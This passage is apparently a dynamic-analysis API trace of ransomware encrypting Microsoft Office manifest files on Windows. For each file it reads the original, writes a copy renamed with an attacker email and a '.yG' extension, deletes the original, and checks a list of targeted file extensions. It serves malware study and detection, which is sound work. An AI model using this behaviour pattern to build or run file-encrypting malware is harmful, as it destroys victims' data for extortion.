	[0050.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.070] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.070] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.071] GetLastError () returned 0x0
	[0050.071] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x863, lpOverlapped=0x0) returned 1
	[0050.112] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x870, lpOverlapped=0x0) returned 1
	[0050.113] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.113] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.113] SetEndOfFile (hFile=0x348) returned 1
	[0050.113] CloseHandle (hObject=0x348) returned 1
	[0050.114] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.114] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.115] CloseHandle (hObject=0x2f4) returned 1
	[0050.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1
	[0050.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.115] lstrlenW (lpString=".doc") returned 4
	[0050.115] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.115] lstrlenW (lpString=".docx") returned 5
	[0050.115] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.115] lstrlenW (lpString=".pdf") returned 4
	[0050.115] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.115] lstrlenW (lpString=".xls") returned 4
	[0050.115] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.115] lstrlenW (lpString=".xlsx") returned 5
	[0050.116] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.116] lstrlenW (lpString=".ppt") returned 4
	[0050.116] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".zip") returned 4
	[0050.116] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.116] lstrlenW (lpString=".rar") returned 4
	[0050.116] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString=".bz2") returned 4
	[0050.116] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString=".7z") returned 3
	[0050.116] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".dbf") returned 4
	[0050.116] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".1cd") returned 4
	[0050.116] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".jpg") returned 4
	[0050.116] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".doc") returned 4
	[0050.116] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString=".docx") returned 5
	[0050.116] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.116] lstrlenW (lpString=".pdf") returned 4
	[0050.116] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString=".xls") returned 4
	[0050.116] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString=".xlsx") returned 5
	[0050.116] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.116] lstrlenW (lpString=".ppt") returned 4
	[0050.116] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.116] lstrlenW (lpString=".zip") returned 4
	[0050.116] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.117] lstrlenW (lpString=".rar") returned 4
	[0050.117] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.117] lstrlenW (lpString=".bz2") returned 4
	[0050.117] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.117] lstrlenW (lpString=".7z") returned 3
	[0050.117] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.117] lstrlenW (lpString=".dbf") returned 4
	[0050.117] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.117] lstrlenW (lpString=".1cd") returned 4
	[0050.117] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104
	[0050.117] lstrlenW (lpString=".jpg") returned 4
	[0050.117] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.117] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.117] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53
	[0050.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.117] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=2147) returned 1
	[0050.117] CloseHandle (hObject=0x2f4) returned 1
	[0050.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220
	[0050.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.118] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.118] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.118] GetLastError () returned 0x0
	[0050.118] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x863, lpOverlapped=0x0) returned 1
	[0050.148] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x870, lpOverlapped=0x0) returned 1
	[0050.149] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.149] WriteFile (in: hFile=0x348, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.149] SetEndOfFile (hFile=0x348) returned 1
	[0050.149] CloseHandle (hObject=0x348) returned 1
	[0050.150] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.150] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.150] CloseHandle (hObject=0x2f4) returned 1
	[0050.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1
	[0050.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.151] lstrlenW (lpString=".doc") returned 4
	[0050.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.151] lstrlenW (lpString=".docx") returned 5
	[0050.151] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.151] lstrlenW (lpString=".pdf") returned 4
	[0050.151] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.151] lstrlenW (lpString=".xls") returned 4
	[0050.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString=".xlsx") returned 5
	[0050.152] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.152] lstrlenW (lpString=".ppt") returned 4
	[0050.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString=".zip") returned 4
	[0050.152] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.152] lstrlenW (lpString=".rar") returned 4
	[0050.152] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString=".bz2") returned 4
	[0050.152] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString=".7z") returned 3
	[0050.152] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString=".dbf") returned 4
	[0050.152] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString=".1cd") returned 4
	[0050.152] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString=".jpg") returned 4
	[0050.152] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.152] lstrlenW (lpString=".doc") returned 4
	[0050.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString=".docx") returned 5
	[0050.153] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.153] lstrlenW (lpString=".pdf") returned 4
	[0050.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString=".xls") returned 4
	[0050.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString=".xlsx") returned 5
	[0050.153] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.153] lstrlenW (lpString=".ppt") returned 4
	[0050.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.153] lstrlenW (lpString=".zip") returned 4
	[0050.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.153] lstrlenW (lpString=".rar") returned 4
	[0050.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString=".bz2") returned 4
	[0050.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString=".7z") returned 3
	[0050.153] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.153] lstrlenW (lpString=".dbf") returned 4
	[0050.153] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.153] lstrlenW (lpString=".1cd") returned 4
	[0050.153] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104
	[0050.153] lstrlenW (lpString=".jpg") returned 4
	[0050.153] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.154] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0050.154] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53
	[0050.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.154] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c2ff14 | out: lpFileSize=0x2c2ff14*=215883) returned 1
	[0050.155] CloseHandle (hObject=0x2f4) returned 1
	[0050.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0050.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0050.155] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.155] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0050.164] GetLastError () returned 0x0
	[0050.164] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x34b4b, lpOverlapped=0x0) returned 1
	[0050.202] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x34b50, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x34b50, lpOverlapped=0x0) returned 1
	[0050.206] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a0d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesRead=0x2c2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.206] WriteFile (in: hFile=0x38c, lpBuffer=0x3a0d020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0d020*, lpNumberOfBytesWritten=0x2c2fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.206] SetEndOfFile (hFile=0x38c) returned 1
	[0050.206] CloseHandle (hObject=0x38c) returned 1
	[0050.210] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.210] SetEndOfFile (hFile=0x2f4) returned 1
	[0050.212] CloseHandle (hObject=0x2f4) returned 1
	[0050.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0050.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 1
	[0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.213] lstrlenW (lpString=".doc") returned 4
	[0050.213] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.213] lstrlenW (lpString=".docx") returned 5
	[0050.213] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.213] lstrlenW (lpString=".pdf") returned 4
	[0050.213] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.213] lstrlenW (lpString=".xls") returned 4
	[0050.213] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.213] lstrlenW (lpString=".xlsx") returned 5
	[0050.213] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.213] lstrlenW (lpString=".ppt") returned 4
	[0050.213] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.213] lstrlenW (lpString=".zip") returned 4
	[0050.214] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.214] lstrlenW (lpString=".rar") returned 4
	[0050.214] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".bz2") returned 4
	[0050.214] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".7z") returned 3
	[0050.214] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString=".dbf") returned 4
	[0050.214] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString=".1cd") returned 4
	[0050.214] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString=".jpg") returned 4
	[0050.214] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString=".doc") returned 4
	[0050.214] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".docx") returned 5
	[0050.214] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0050.214] lstrlenW (lpString=".pdf") returned 4
	[0050.214] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".xls") returned 4
	[0050.214] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".xlsx") returned 5
	[0050.214] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0050.214] lstrlenW (lpString=".ppt") returned 4
	[0050.214] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 104
	[0050.214] lstrlenW (lpString=".zip") returned 4
	[0050.214] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0050.214] lstrlenW (lpString=".rar") returned 4
	[0050.214] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0050.214] lstrlenW (lpString=".bz2") returned 4
